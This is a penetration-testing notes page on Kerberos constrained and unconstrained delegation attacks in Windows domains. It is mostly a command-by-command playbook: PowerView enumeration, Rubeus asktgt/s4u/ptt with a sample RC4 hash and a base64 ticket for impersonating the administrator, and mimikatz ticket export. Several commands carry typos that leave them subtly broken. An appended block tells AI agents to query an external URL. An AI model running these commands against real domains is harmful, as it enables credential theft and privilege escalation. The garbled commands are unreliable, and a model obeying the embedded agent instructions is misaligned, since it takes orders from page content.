# Delegation attacks

## Constrained delegation

If you have compromised a user account or a computer (machine account) that has kerberos constrained delegation enabled, it's possible to impersonate any domain user (including administrator) and authenticate to a service that the user account is trusted to delegate to.

### Enumerate constrained delegation

```
Get-DomainUser -TrustedToAuth

Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo
```

### Exploit with Rubeus

```
.\Rubeus.exe hash /password:<password>
```

```
.\Rubeus.exe asktgt /user:<user> /domain<domain> /aes256<AES hash>
```

```
.\Rubeus.exe s4u /ticket:<ticket> /impersonateuser<admininistrator> /sdssnpn:<spn_constrained> /altservice:HTTP /ptt
```

Example:

```
.\Rubeus.exe s4u /user:MS02$ /rc4:dc7a49c0c36399ae87f3de623ebab985 /impersonateuser:administrator /msdsspn:"cifs/domain.com" /altservice:cifs,host /ptt
```

Example with base64 ticket:

```
# Save TGS to file
Rubeus.exe s4u /ticket:+lhggPlMIID4aADAgEFoQsbCU0zQy5MT0NBTKIeMBygAwIBAqEVMBMbBmtyYnRndBsJTTNDLkxPQ0FMo4IDqzCCA6egAwIBEqEDAgEEooIDmQSCA5XpEbxe5LARdWtJ362bAz7urCoUN79UNz23AfuY1LhR+T+bG06uGgSzKSXWUYZ3txMtkG3RpMnnA9zPhE8sLNNr29rMuH2NuJAF0flo/k/FZltiTTXMgvkHRPXvSdXlxAWxRm3+UXUpkccKXy7xbnvf3Y9Faalkb+Z6aLplOpU1Ef8/ZKMPwae+G5ua4hClYLYD+EaaxcDmvTwwtdxNYkCHbK4ix5XEik7IzctjoBoFlPoaryVoKvBPs4s3WluM0ZUjurT51/dqSo3AjkjSP5UTzsyIzz6RsqOSfGuR4D5WjTozz8ul2pLmexMVqU7vYZrg/VjoANNIOFrpAMXKX2ZCJp8IDVL8T+3k1cb3J5utKXcye3eH9odnUHZoXuker3KGl9A9f87p+quJwl8rXphOd5rG1G6wY5D+gYBjvTVRPio+z69FRcYKgZkSQBk3vzHpiB49wnwyktBBv/R2NzgwA2zCXqHqz5RgdnhZ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" /altservice:http /outfile:TGS_micheal_TIMER
```

After saving the ticket you can load it manually in memory with:

```
Rubeus.exe ptt /ticket:path_to_ticket
```

## Unconstrained delegation

### Get unconstrained delegation machines

* BloodHound will list this too

```
Get-NetComputer -Unconstrained
```

### Get tickets

```
.\mimikatz.exe "sekurla::tickets /export" exit
.\Rubeus.exe dump /service:krbtgt /nowrap
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.incendium.rocks/pentesting-notes/windows-pentesting/delegation-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
